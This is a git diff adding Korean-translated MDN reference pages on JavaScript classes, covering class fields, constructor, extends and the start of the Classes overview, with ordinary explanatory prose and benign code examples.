+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standard built-in objects</a></dt>
+ <dd>This chapter documents all the JavaScript standard built-in objects, along with their methods and properties.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements">Statements and declarations</a></dt>
+ <dd>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators">Expressions and operators</a></dt>
+ <dd>This chapter documents all the JavaScript language operators, expressions and keywords.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></dt>
+ <dd>Chapter about JavaScript functions.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></dt>
+ <dd>Chapter about JavaScript classes introduced in ECMAScript 2015.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors">Errors</a></dt>
+ <dd>Chapter about specific errors, exceptions and warnings thrown by JavaScript.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a></dt>
+ <dd>Chapter about JavaScript version history.</dd>
+</dl>
+
+<h3 id="More_reference_pages">More reference pages</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated and obsolete features</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/javascript/reference/classes/class_fields/index.html b/files/ko/web/javascript/reference/classes/class_fields/index.html
new file mode 100644
index 0000000000..959c65fada
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/class_fields/index.html
@@ -0,0 +1,396 @@
+---
+title: Class fields
+slug: Web/JavaScript/Reference/Classes/Class_fields
+translation_of: Web/JavaScript/Reference/Classes/Public_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<div class="note">
+<p><strong>This page describes experimental features.</strong></p>
+
+<p>Both Public and private field declarations are an <a href="https://github.com/tc39/proposal-class-fields">experimental feature (stage 3)</a> proposed at <a href="https://tc39.github.io/beta/">TC39</a>, the JavaScript standards committee.</p>
+
+<p>Support in browsers is limited, but the feature can be used through a build step with systems like <a href="https://babeljs.io/">Babel</a>. See the <a href="#Browser_compatibility">compat information</a> below.</p>
+</div>
+
+<h2 id="Public_fields">Public fields</h2>
+
+<p>static fields와 instance의 public fields 는 둘 다 writable, enumerable, configurable 한 프로퍼티들이다. 예를들면, 정 반대인 private 과는 다르게, unlike their private counterparts, static fields는 프로토타입 상속에 관여한다.</p>
+
+<h3 id="Public_static_fields">Public static fields</h3>
+
+<p>Public static fields 는 클래스에서 생성하는 모든 인스턴스에 대한 필드가 아닌, 클래스마다 단 한개의 필드가 존재하기를 원할 때 유용하게 사용할 수 있다. Public fields는 캐시, 고정된 설정값, 또는 인스턴스 간 복제할 필요가 없는 어떤 데이터 등에 유용하게 쓰일 수 있다.</p>
+
+<p>Public static fields are declared using the <code>static</code> keyword. They are added to the class constructor at the time of class evaluation using {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. They are accessed again from the class constructor.</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static staticField = 'static field'
+}
+
+console.log(ClassWithStaticField.staticField)
+// expected output: "static field"​
+</pre>
+
+<p>Fields without initializers are initialized to <code>undefined</code>.</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static staticField
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'))
+console.log(ClassWithStaticField.staticField)
+// expected output: "undefined"</pre>
+
+<p>Public static fields are not reinitialized on subclasses, but can be accessed via the prototype chain.</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static baseStaticField = 'base field'
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field'
+}
+
+console.log(SubClassWithStaticField.subStaticField)
+// expected output: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField)
+// expected output: "base field"</pre>
+
+<p>When initializing fields, <code>this</code> refers to the class constructor. You can also reference it by name, and use <code>super</code> to get the superclass constructor (if one exists).</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static baseStaticField = 'base static field'
+  static anotherBaseStaticField = this.baseStaticField
+
+  static baseStaticMethod() { return 'base static method output' }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod()
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField)
+// expected output: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField)
+// expected output: "base static method output"
+</pre>
+
+<h3 id="Public_instance_fields">Public instance fields</h3>
+
+<p>Public instance fields exist on every created instance of a class. By declaring a public field, you can ensure the field is always present, and the class definition is more self-documenting.</p>
+
+<p>Public instance fields are added with {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} either at construction time in the base class (before the constructor body runs), or just after <code>super()</code> returns in a subclass.</p>
+
+<pre class="brush: js">class ClassWithInstanceField {
+ instanceField = 'instance field'
+}
+
+const instance = new ClassWithInstanceField()
+console.log(instance.instanceField)
+// expected output: "instance field"</pre>
+
+<p>Fields without initializers are initialized to <code>undefined</code>.</p>
+
+<pre class="brush: js">class ClassWithInstanceField {
+  instanceField
+}
+
+const instance = new ClassWithInstanceField()
+console.assert(instance.hasOwnProperty('instanceField'))
+console.log(instance.instanceField)
+// expected output: "undefined"</pre>
+
+<p>Like properties, field names may be computed.</p>
+
+<pre class="brush: js">const PREFIX = 'prefix'
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field'
+}
+
+const instance = new ClassWithComputedFieldName()
+console.log(instance.prefixField)
+// expected output: "prefixed field"</pre>
+
+<p>When initializing fields <code>this</code> refers to the class instance under construction. Just as in public instance methods, if you're in a subclass you can access the superclass prototype using <code>super</code>.</p>
+
+<pre class="brush: js">class ClassWithInstanceField {
+  baseInstanceField = 'base field'
+  anotherBaseInstanceField = this.baseInstanceField
+  baseInstanceMethod() { return 'base method output' }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod()
+}
+
+const base = new ClassWithInstanceField()
+const sub = new SubClassWithInstanceField()
+
+console.log(base.anotherBaseInstanceField)
+// expected output: "base field"
+
+console.log(sub.subInstanceField)
+// expected output: "base method output"</pre>
+
+<h2 id="Public_methods">Public methods</h2>
+
+<h3 id="Public_static_methods">Public static methods</h3>
+
+<p>The <code><strong>static</strong></code> keyword defines a static method for a class. Static methods aren't called on instances of the class. Instead, they're called on the class itself. These are often utility functions, such as functions to create or clone objects.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p>The static methods are added to the class constructor with {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} at class evaluation time. These methods are writable, non-enumerable, and configurable.</p>
+
+<h3 id="Public_instance_methods">Public instance methods</h3>
+
+<p>As the name implies, public instance methods are methods available on class instances.</p>
+
+<pre class="brush: js">class ClassWithPublicInstanceMethod {
+ publicMethod() {
+ return 'hello world'
+ }
+}
+
+const instance = new ClassWithPublicInstanceMethod()
+console.log(instance.publicMethod())
+// expected output: "hello worl​d"</pre>
+
+<p>Public instance methods are added to the class prototype at the time of class evaluation using {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. They are writable, non-enumerable, and configurable.</p>
+
+<p>You may make use of generator, async, and async generator functions.</p>
+
+<pre class="brush: js">class ClassWithFancyMethods {
+ *generatorMethod() { }
+ async asyncMethod() { }
+ async *asyncGeneratorMethod() { }
+}</pre>
+
+<p>Inside instance methods, <code>this</code> refers to the instance itself. In subclasses, <code>super</code> lets you access the superclass prototype, allowing you to call methods from the superclass.</p>
+
+<pre class="brush: js">class BaseClass {
+  msg = 'hello world'
+  basePublicMethod() {
+    return this.msg
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod()
+  }
+}
+
+const instance = new SubClass()
+console.log(instance.subPublicMethod())
+// expected output: "hello worl​d"
+</pre>
+
+<p>Getters and setters are special methods that bind to a class property and are called when that property is accessed or set. Use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a> syntax to declare a public instance getter or setter.</p>
+
+<pre class="brush: js">class ClassWithGetSet {
+  #msg = 'hello world'
+  get msg() {
+    return this.#msg
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`
+  }
+}
+
+const instance = new ClassWithGetSet()
+console.log(instance.msg)
+// expected output: "hello worl​d"
+
+instance.msg = 'cake'
+console.log(instance.msg)
+// expected output: "hello cake"
+</pre>
+
+<h2 id="Private_fields">Private fields</h2>
+
+<h3 id="Private_static_fields">Private static fields </h3>
+
+<p>Private fields are accessible on the class constructor from inside the class declaration itself.</p>
+
+<p>The limitation of static variables being called by only static methods still holds. </p>
+
+<pre class="brush: js">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Private static fields are added to the class constructor at class evaluation time.</p>
+
+<p>There is a provenance restriction on private static fields. Only the class which defines the private static field can access the field.</p>
+
+<p>This can lead to unexpected behaviour when using <strong><code>this</code></strong>.</p>
+
+<pre class="brush: js">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+assertThrows(() =&gt; SubClass.basePublicStaticMethod(), TypeError)
+</pre>
+
+<h3 id="Private_instance_fields">Private instance fields</h3>
+
+<p>Private instance fields are declared with <strong># names </strong>(pronounced "<em>hash names</em>"), which are identifiers prefixed with <code>#</code>. The <code>#</code> is a part of the name itself. It is used for declaration and accessing as well.</p>
+
+<p>The encapsulation is enforced by the language. It is a syntax error to refer to <code>#</code> names from out of scope.</p>
+
+<pre class="brush: js">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 666 // Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error
+</pre>
+
+<h2 id="Private_Methods">Private Methods</h2>
+
+<h3 id="Private_static_methods">Private static methods</h3>
+
+<p>Like their public equivalent, private static methods are called on the class itself, not instances of the class. Like private static fields, they are only accessible from inside the class declaration.</p>
+
+<p>Private static methods may be generator, async, and async generator functions.</p>
+
+<pre class="brush: js">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42
+    }
+
+    static publicStaticMethod1() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+
+    static publicStaticMethod2() {
+       return this.#privateStaticMethod();
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod1() === 42);
+assert(ClassWithPrivateStaticField.publicStaticMethod2() === 42);
+</pre>
+
+<p>This can lead to unexpected behaviour when using <strong><code>this</code></strong>(because <code>this</code> binding rule applies).</p>
+
+<pre class="brush: js">class Base {
+    static #privateStaticMethod() {
+        return 42;
+    }
+    static publicStaticMethod1() {
+        return Base.#privateStaticMethod();
+    }
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError
+</pre>
+
+<h3 id="Private_instance_methods">Private instance methods</h3>
+
+<p>Private instance methods are methods available on class instances whose access is restricted in the same manner as private instance fields.</p>
+
+<pre class="brush: js">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+      return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>Private instance methods may be generator, async, or async generator functions. Private getters and setters are also possible:</p>
+
+<pre class="brush: js">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.es/proposal-class-fields/#prod-FieldDefinition">FieldDefinition production</a></td>
+ <td>Stage 3</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Public_class_fields">Public class fields</h3>
+
+
+
+<p>{{Compat("javascript.classes.public_class_fields")}}</p>
+
+<h3 id="Private_class_fields">Private class fields</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/constructor/index.html b/files/ko/web/javascript/reference/classes/constructor/index.html
new file mode 100644
index 0000000000..f07dbd43b9
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/constructor/index.html
@@ -0,0 +1,128 @@
+---
+title: constructor
+slug: Web/JavaScript/Reference/Classes/constructor
+tags:
+ - Classes
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong><code>constructor</code></strong> 메서드는 {{jsxref("Statements/class", "class")}} 내에서 객체를 생성하고 초기화하기 위한 특별한 메서드입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">constructor([<em>arguments</em>]) { ... }
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>클래스는 <code>constructor</code>라는 이름을 가진 특별한 메서드를 하나씩만 가질 수 있습니다. 두 개 이상의 <code>constructor</code> 메서드는 {{jsxref("SyntaxError")}}를 유발합니다.</p>
+
+<p>생성자 메서드는 {{jsxref("Operators/super", "super")}} 키워드를 사용하여 상위 클래스의 생성자 메서드를 호출할 수 있습니다.</p>
+
+<p>생성자 메서드를 지정하지 않은 경우엔 기본 생성자 메서드를 사용합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="constructor_메서드_사용하기"><code>constructor</code> 메서드 사용하기</h3>
+
+<pre class="brush: js">class Square extends Polygon {
+ constructor(length) {
+ // length로 다각형의 넓이와 높이를 정의하기 위해 부모클래스의 생성자를 호출합니다.
+ super(length, length);
+ // Note: 파생 클래스에서, 'this'를 사용하기 전에는 반드시 super()를
+ // 호출하여야 합니다. 그렇지 않을 경우 참조에러가 발생합니다.
+ this.name = 'Square';
+ }
+
+ get area() {
+ return this.height * this.width;
+ }
+
+ set area(value) {
+ this.area = value;
+ }
+}</pre>
+
+<h3 id="다른예제">다른예제</h3>
+
+<pre class="brush: js">class Polygon {
+ constructor() {
+ this.name = "Polygon";
+ }
+}
+
+class Square extends Polygon {
+ constructor() {
+ super();
+ }
+}
+
+class Rectangle {}
+
+Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+
+console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false
+console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true
+
+let newInstance = new Square();
+console.log(newInstance.name); //Polygon</pre>
+
+<p>여기서 <strong>Square</strong> 클래스의 프로토 타입이 변경되었지만 사각형의 새 인스턴스가 만들어 질 때 이전 기본 클래스 인 <strong>Polygon</strong>의 생성자가 호출됩니다.</p>
+
+<h3 id="기본_생성자">기본 생성자</h3>
+
+<p>만약 생성자를 지정하지 않을 경우 기본 생성자 메서드를 사용합니다. 기본 클래스(즉, 아무것도 상속하지 않는 클래스)의 기본 생성자 메서드는 다음과 같습니다.</p>
+
+<pre class="brush: js">constructor() {}
+</pre>
+
+<p>파생 클래스의 경우, 기본 생성자는 다음과 같습니다.</p>
+
+<pre class="brush: js">constructor(...args) {
+ super(...args);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.classes.constructor")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> 표현식</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> 선언문</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/extends/index.html b/files/ko/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..e1ae2eac31
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,112 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+tags:
+ - Classes
+ - ECMAScript6
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong><code>extends</code></strong> 키워드는 클래스를 다른 클래스의 자식으로 만들기 위해 <a href="/ko/docs/Web/JavaScript/Reference/Statements/class" title="class declarations">class 선언</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/class" title="class expressions">class 식</a>에 사용됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-extends.html", "taller")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">class ChildClass extends ParentClass { ... }</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>extends</code> 키워드는 내장 객체뿐만 아니라 사용자 정의 클래스를 하위 클래스로 만들기 위해 사용될 수 있습니다.</p>
+
+<p>확장( 클래스)의 <code>.prototype</code>은 {{jsxref("Object")}} 또는 {{jsxref("null")}}이어야 합니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="extends_사용하기"><code>extends</code> 사용하기</h3>
+
+<p>첫 번째 예는 <code>Polygon</code> 클래스로부터 <code>Square</code> 클래스를 만듭니다. 이 예는 <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>에서 발췌했습니다.</p>
+
+<pre class="brush: js">class Square extends Polygon {
+ constructor(length) {
+ // 여기서, length와 함께 부모 클래스의 생성자를 호출
+ // Polygon의 너비 및 높이가 제공됨
+ super(length, length);
+ // 주의: 파생 클래스에서, super()가 먼저 호출되어야 'this'를
+ // 사용할 수 있습니다. 이를 빼먹으면 참조 오류가 발생합니다.
+ this.name = 'Square';
+ }
+
+ get area() {
+ return this.height * this.width;
+ }
+
+ set area(value) {
+ this.area = value;
+ }
+}</pre>
+
+<h3 id="내장_객체에_extends_사용하기">내장 객체에 <code>extends</code> 사용하기</h3>
+
+<p>이 예제는 내장 객체 {{jsxref("Date")}}를 확장합니다. 이 예제는 <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>에서 발췌했습니다.</p>
+
+<pre class="brush: js">class myDate extends Date {
+ constructor() {
+ super();
+ }
+
+ getFormattedDate() {
+ var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
+ return this.getDate() + "-" + months[this.getMonth()] + "-" + this.getFullYear();
+ }
+}</pre>
+
+<h3 id="null_확장"><code>null</code> 확장</h3>
+
+<p>{{jsxref("null")}}에서 확장은 prototype 객체가 {{jsxref("Object.prototype")}}으로부터 상속받지 않은 것을 제외하면 보통 클래스처럼 동작합니다.</p>
+
+<pre class="brush: js">class nullExtends extends null {
+ constructor() {}
+}
+
+Object.getPrototypeOf(nullExtends); // Function.prototype
+Object.getPrototypeOf(nullExtends.prototype) // null</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-class-definitions', 'extends')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.classes.extends")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/index.html b/files/ko/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..59f72f7652
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/index.html
@@ -0,0 +1,402 @@
+---
+title: Classes
+slug: Web/JavaScript/Reference/Classes
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Class는 객체를 생성하기 위한 템플릿입니다. 클래스는 데이터와 이를 조작하는 코드를 하나로 추상화합니다. 자바스크립트에서 클래스는 프로토타입을 이용해서 만들어졌지만 ES5의 클래스 의미와는 다른 문법과 의미를 가집니다.</p>
+
+<h2 id="Class_정의">Class 정의</h2>
+
+<p>Class는 사실 "특별한 {{jsxref("Functions", "함수", "", "true")}}"입니다. 함수를 {{jsxref("Operators/function", "함수 표현식", "", "true")}}과 {{jsxref("Statements/function", "함수 선언", "", "true")}}으로 정의할 수 있듯이 class 문법도 {{jsxref("Operators/class", "class 표현식", "", "true")}} and {{jsxref("Statements/class", "class 선언", "", "true")}} 두 가지 방법을 제공합니다.</p>
+
+<h3 id="Class_선언">Class 선언</h3>
+
+<p>Class를 정의하는 한 가지 방법은 <strong>class 선언</strong>을 이용하는 것입니다. class를 선언하기 위해서는 클래스의 이름(여기서 "Rectangle")과 함께 <code>class</code> 키워드를 사용해야 합니다.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+}</pre>
+
+<h4 id="Hoisting">Hoisting</h4>
+
+<p><strong>함수 선언</strong>과 <strong>클래스 선언</strong>의 중요한 차이점은 함수 선언의 경우 {{Glossary("Hoisting", "호이스팅")}}이 일어나지만, 클래스 선언은 그렇지 않다는 것입니다. 클래스를 사용하기 위해서는 클래스를 먼저 선언 해야 합니다. 그렇지 않으면, 다음 코드는 {{jsxref("ReferenceError")}}를 던질 것입니다. :</p>
+
+<pre class="brush: js example-bad notranslate">const p = new Rectangle(); // ReferenceError
+
+class Rectangle {}
+</pre>
+
+<h3 id="Class_표현식">Class 표현식</h3>
+
+<p><strong>Class 표현식</strong>은 class를 정의하는 또 다른 방법입니다. Class 표현식은 이름을 가질 수도 있고, 갖지 않을 수도 있습니다. 이름을 가진 class 표현식의 이름은 클래스 body의 local scope에 한해 유효합니다. (하지만, 클래스의 (인스턴스 이름이 아닌) {{jsxref("Function.name", "name")}} 속성을 통해 찾을 수 있습니다).</p>
+
+<pre class="brush: js notranslate">// unnamed
+let Rectangle = class {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+};
+console.log(Rectangle.name);
+// 출력: "Rectangle"
+
+// named
+let Rectangle = class Rectangle2 {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+};
+console.log(Rectangle.name);
+// 출력: "Rectangle2"
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 클래스 <strong>표현식</strong>에는 {{anch ( "Class 선언")}} 섹션에 설명된 것과 동일한 호이스팅 제한이 적용됩니다.</p>
+</div>
+
+<h2 id="Class_body_와_메서드_정의">Class body 와 메서드 정의</h2>
+
+<p>Class body는 중괄호 <code>{}</code> 로 묶여 있는 안쪽 부분입니다. 이곳은 여러분이 메서드나 constructor와 같은 class 멤버를 정의할 곳입니다.</p>
+
+<h3 id="Strict_mode">Strict mode</h3>
+
+<p>클래스의 본문(body)은 {{jsxref("Strict_mode", "strict mode", "", "true")}}에서 실행됩니다. 즉, 여기에 적힌 코드는 성능 향상을 위해 더 엄격한 문법이 적용됩니다. 그렇지 않으면, 조용히 오류가 발생할 수 있습니다. 특정 키워드는 미래의 ECMAScript 버전용으로 예약됩니다.</p>
+
+<h3 id="Constructor_생성자">Constructor (생성자)</h3>
+
+<p>{{jsxref("Classes/constructor", "constructor", "", "true")}} 메서드는 <code>class</code> 로 생성된 객체를 생성하고 초기화하기 위한 특수한 메서드입니다.  "constructor" 라는 이름을 가진 특수한 메서드는 클래스 안에 한 개만 존재할 수 있습니다. 만약 클래스에 여러 개의 <code>constructor</code> 메서드가 존재하면 {{jsxref("SyntaxError")}} 가 발생할 것입니다.</p>
+
+<p>constructor는 부모 클래스의 constructor를 호출하기 위해 <code>super</code> 키워드를 사용할 수 있습니다.</p>
+
+<h3 id="프로토타입_메서드">프로토타입 메서드</h3>
+
+<p>{{jsxref("Functions/Method_definitions", "메서드 정의", "", "true")}}도 참조해보세요.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+ // Getter
+ get area() {
+ return this.calcArea();
+ }
+ // 메서드
+ calcArea() {
+ return this.height * this.width;
+ }
+}
+
+const square = new Rectangle(10, 10);
+
+console.log(square.area); // 100</pre>
+
+<h3 id="정적_메서드와_속성">정적 메서드와 속성</h3>
+
+<p>{{jsxref("Classes/static", "static", "", "true")}} 키워드는 클래스를 위한 정적(static) 메서드를 정의합니다. 정적 메서드는 클래스의 인스턴스화(<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_object_(class_instance)" title='An example of class instance is "var john = new Person();"'>instantiating</a>) 없이 호출되며, 클래스의 인스턴스에서는 호출할 수 없습니다. 정적 메서드는 어플리케이션(application)을 위한 유틸리티(utility) 함수를 생성하는 데 주로 사용됩니다. 반면, 정적 속성은 캐시, 고정 환경설정 또는 인스턴스 간에 복제할 필요가 없는 기타 데이터에 유용합니다.</p>
+
+<pre class="brush: js notranslate">class Point {
+ constructor(x, y) {
+ this.x = x;
+ this.y = y;
+ }
+
+  static displayName = "Point";
+ static distance(a, b) {
+ const dx = a.x - b.x;
+ const dy = a.y - b.y;
+
+ return Math.hypot(dx, dy);
+ }
+}
+
+const p1 = new Point(5, 5);
+const p2 = new Point(10, 10);
+p1.displayName; // undefined
+p1.distance; // undefined
+p2.displayName; // undefined
+p2.distance; // undefined
+
+console.log(Point.displayName); // "Point"
+console.log(Point.distance(p1, p2)); // 7.0710678118654755</pre>
+
+<h3 id="프로토타입_및_정적_메서드를_사용한_this_바인딩">프로토타입 및 정적 메서드를 사용한 <code>this</code> 바인딩</h3>
+
